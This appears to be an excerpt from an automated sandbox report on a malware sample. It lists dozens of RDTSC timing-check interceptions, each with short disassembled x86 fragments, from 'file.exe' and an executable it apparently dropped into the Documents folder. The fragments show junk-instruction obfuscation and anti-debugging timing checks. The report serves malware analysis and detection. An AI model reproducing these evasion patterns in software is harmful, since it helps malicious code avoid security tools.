Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220982 second address: 1220986 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123587A second address: 1235880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1235880 second address: 1235885 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1235885 second address: 123588B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123588B second address: 1235891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1235B60 second address: 1235B6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 je 00007F9934C73DC6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1235B6F second address: 1235B73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1235E4A second address: 1235E62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F9934C73DC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 ja 00007F9934C73DC6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1236131 second address: 1236135 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1236788 second address: 123678D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123678D second address: 12367AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9934D1A6B0h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F9934D1A6A6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12367AA second address: 12367AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1238085 second address: 12380A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F9934D1A6A6h 0x0000000a jmp 00007F9934D1A6B7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12380A6 second address: 12380BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d push eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12380BC second address: 12380D1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9934D1A6A6h 0x00000008 jmp 00007F9934D1A6ABh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12380D1 second address: 12380D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123DB05 second address: 123DB24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9934D1A6A6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9934D1A6B0h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3022A second address: 4E30239 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934C73DCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30239 second address: 4E302B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 pushfd 0x00000006 jmp 00007F9934D1A6ABh 0x0000000b or cl, FFFFFFEEh 0x0000000e jmp 00007F9934D1A6B9h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 mov eax, 520FCB13h 0x0000001e mov esi, 0BA2056Fh 0x00000023 popad 0x00000024 push eax 0x00000025 pushad 0x00000026 mov cx, 21BDh 0x0000002a popad 0x0000002b xchg eax, ebp 0x0000002c jmp 00007F9934D1A6B8h 0x00000031 mov ebp, esp 0x00000033 jmp 00007F9934D1A6B0h 0x00000038 pop ebp 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E302B0 second address: 4E302B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155A81 second address: 1155A88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30405 second address: 4E30489 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9934C73DCEh 0x00000008 jmp 00007F9934C73DD2h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push edi 0x00000013 mov eax, 7ED0D993h 0x00000018 pop eax 0x00000019 jmp 00007F9934C73DD9h 0x0000001e popad 0x0000001f xchg eax, ebp 0x00000020 jmp 00007F9934C73DCEh 0x00000025 mov ebp, esp 0x00000027 jmp 00007F9934C73DD0h 0x0000002c pop ebp 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F9934C73DD7h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30489 second address: 4E304A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9934D1A6B4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E304B7 second address: 4E304BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E304BB second address: 4E304C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E304C1 second address: 4E304F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 movsx ebx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 3C56BF47h 0x00000010 jmp 00007F9934C73DD5h 0x00000015 xor dword ptr [esp], 4B74A36Fh 0x0000001c pushad 0x0000001d mov di, cx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3062C second address: 4E306C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934D1A6B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edx, esi 0x0000000b jmp 00007F9934D1A6B7h 0x00000010 mov edi, dword ptr [ebp+08h] 0x00000013 pushad 0x00000014 mov edx, esi 0x00000016 pushfd 0x00000017 jmp 00007F9934D1A6B0h 0x0000001c xor si, 9A88h 0x00000021 jmp 00007F9934D1A6ABh 0x00000026 popfd 0x00000027 popad 0x00000028 dec edi 0x00000029 jmp 00007F9934D1A6B6h 0x0000002e lea ebx, dword ptr [edi+01h] 0x00000031 jmp 00007F9934D1A6B0h 0x00000036 mov al, byte ptr [edi+01h] 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F9934D1A6B7h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E306C9 second address: 4E30715 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934C73DD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F9934C73DD3h 0x00000013 jmp 00007F9934C73DD3h 0x00000018 popfd 0x00000019 mov bl, al 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30715 second address: 4E3071B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3071B second address: 4E3071F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3071F second address: 4E30723 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30723 second address: 4E30736 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bl, 66h 0x0000000f mov di, ax 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30736 second address: 4E307D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934D1A6B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F99A70929D8h 0x0000000f jmp 00007F9934D1A6B6h 0x00000014 mov ecx, edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F9934D1A6AEh 0x0000001d adc si, BB28h 0x00000022 jmp 00007F9934D1A6ABh 0x00000027 popfd 0x00000028 pushad 0x00000029 jmp 00007F9934D1A6B6h 0x0000002e pushfd 0x0000002f jmp 00007F9934D1A6B2h 0x00000034 sub esi, 5B67C8B8h 0x0000003a jmp 00007F9934D1A6ABh 0x0000003f popfd 0x00000040 popad 0x00000041 popad 0x00000042 shr ecx, 02h 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 mov edx, esi 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E307D2 second address: 4E307FB instructions: 0x00000000 rdtsc 0x00000002 mov edi, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov si, D439h 0x0000000a popad 0x0000000b rep movsd 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 rep movsd 0x00000015 jmp 00007F9934C73DD4h 0x0000001a mov ecx, edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E307FB second address: 4E307FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E307FF second address: 4E30805 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30805 second address: 4E308E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934D1A6B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 03h 0x0000000c jmp 00007F9934D1A6B0h 0x00000011 rep movsb 0x00000013 pushad 0x00000014 call 00007F9934D1A6AEh 0x00000019 call 00007F9934D1A6B2h 0x0000001e pop eax 0x0000001f pop ebx 0x00000020 jmp 00007F9934D1A6B0h 0x00000025 popad 0x00000026 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000002d jmp 00007F9934D1A6B0h 0x00000032 mov eax, ebx 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007F9934D1A6AEh 0x0000003b sub cl, FFFFFFC8h 0x0000003e jmp 00007F9934D1A6ABh 0x00000043 popfd 0x00000044 mov cx, 0D3Fh 0x00000048 popad 0x00000049 mov ecx, dword ptr [ebp-10h] 0x0000004c jmp 00007F9934D1A6B2h 0x00000051 mov dword ptr fs:[00000000h], ecx 0x00000058 jmp 00007F9934D1A6B0h 0x0000005d pop ecx 0x0000005e pushad 0x0000005f mov cx, 38EDh 0x00000063 movzx ecx, di 0x00000066 popad 0x00000067 pop edi 0x00000068 push eax 0x00000069 push edx 0x0000006a push eax 0x0000006b push edx 0x0000006c pushad 0x0000006d popad 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E308E0 second address: 4E308E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E308E6 second address: 4E30913 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934D1A6B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9934D1A6ADh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30913 second address: 4E30919 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30919 second address: 4E3091D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3091D second address: 4E304B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934C73DD3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c jmp 00007F9934C73DD6h 0x00000011 leave 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F9934C73DCEh 0x00000019 adc ax, 1AD8h 0x0000001e jmp 00007F9934C73DCBh 0x00000023 popfd 0x00000024 mov cx, 6D8Fh 0x00000028 popad 0x00000029 retn 0008h 0x0000002c cmp dword ptr [ebp-2Ch], 10h 0x00000030 mov eax, dword ptr [ebp-40h] 0x00000033 jnc 00007F9934C73DC5h 0x00000035 push eax 0x00000036 lea edx, dword ptr [ebp-00000590h] 0x0000003c push edx 0x0000003d call esi 0x0000003f push 00000008h 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30A27 second address: 4E30A2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, dx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30A2F second address: 4E30A8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, dx 0x00000006 pushfd 0x00000007 jmp 00007F9934C73DCBh 0x0000000c or ecx, 2B76452Eh 0x00000012 jmp 00007F9934C73DD9h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c jmp 00007F9934C73DD1h 0x00000021 xchg eax, ebp 0x00000022 jmp 00007F9934C73DCEh 0x00000027 mov ebp, esp 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30A8D second address: 4E30AAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934D1A6B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30AAA second address: 4E30AB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30AB0 second address: 4E30AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 65EF57 second address: 65EF65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 65EF65 second address: 65EF69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7D4DCC second address: 7D4DD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7D5086 second address: 7D508E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7D733A second address: 7D7340 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7D7340 second address: 7D7344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7D7344 second address: 7D735A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9934C73DCBh 0x00000010 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7D735A second address: 7D7360 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7D7360 second address: 7D7364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7D748C second address: 7D7491 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7D7491 second address: 7D74FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F9934C73DD0h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 jp 00007F9934C73DCAh 0x00000018 pop eax 0x00000019 movzx ecx, bx 0x0000001c sbb ch, FFFFFFACh 0x0000001f lea ebx, dword ptr [ebp+1244BEDEh] 0x00000025 push 00000000h 0x00000027 push edi 0x00000028 call 00007F9934C73DC8h 0x0000002d pop edi 0x0000002e mov dword ptr [esp+04h], edi 0x00000032 add dword ptr [esp+04h], 00000017h 0x0000003a inc edi 0x0000003b push edi 0x0000003c ret 0x0000003d pop edi 0x0000003e ret 0x0000003f xchg eax, ebx 0x00000040 push edi 0x00000041 push ecx 0x00000042 jmp 00007F9934C73DCDh 0x00000047 pop ecx 0x00000048 pop edi 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7D74FD second address: 7D7501 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7D7501 second address: 7D7507 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7E9712 second address: 7E971F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7F7E25 second address: 7F7E2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7F7E2B second address: 7F7E2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7F7FA0 second address: 7F7FA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7F7FA6 second address: 7F7FAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7F8208 second address: 7F820F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7F820F second address: 7F824F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934D1A6B1h 0x00000007 jnp 00007F9934D1A6ACh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9934D1A6AFh 0x00000017 jmp 00007F9934D1A6ADh 0x0000001c rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7F89D5 second address: 7F89DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7F89DB second address: 7F89DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7F8B4C second address: 7F8B64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F9934C73DC6h 0x0000000a jg 00007F9934C73DE0h 0x00000010 jl 00007F9934C73DD2h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7F8B64 second address: 7F8B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F9934D1A6A6h 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7FA6EC second address: 7FA6F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7FA6F0 second address: 7FA714 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F9934D1A6CAh 0x0000000c jno 00007F9934D1A6AEh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jne 00007F9934D1A6A6h 0x0000001c rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7FF740 second address: 7FF744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7FF744 second address: 7FF748 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7FF748 second address: 7FF74E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7CFBB3 second address: 7CFBBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7CFBBB second address: 7CFC10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F9934C73DD9h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jmp 00007F9934C73DD1h 0x00000011 popad 0x00000012 push esi 0x00000013 jmp 00007F9934C73DCBh 0x00000018 pushad 0x00000019 popad 0x0000001a pop esi 0x0000001b pop edx 0x0000001c pop eax 0x0000001d pushad 0x0000001e jns 00007F9934C73DCCh 0x00000024 push esi 0x00000025 push eax 0x00000026 pop eax 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7C5AEF second address: 7C5AF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7C5AF3 second address: 7C5B2C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnp 00007F9934C73DC6h 0x0000000f jmp 00007F9934C73DD3h 0x00000014 jmp 00007F9934C73DD6h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7C5B2C second address: 7C5B33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
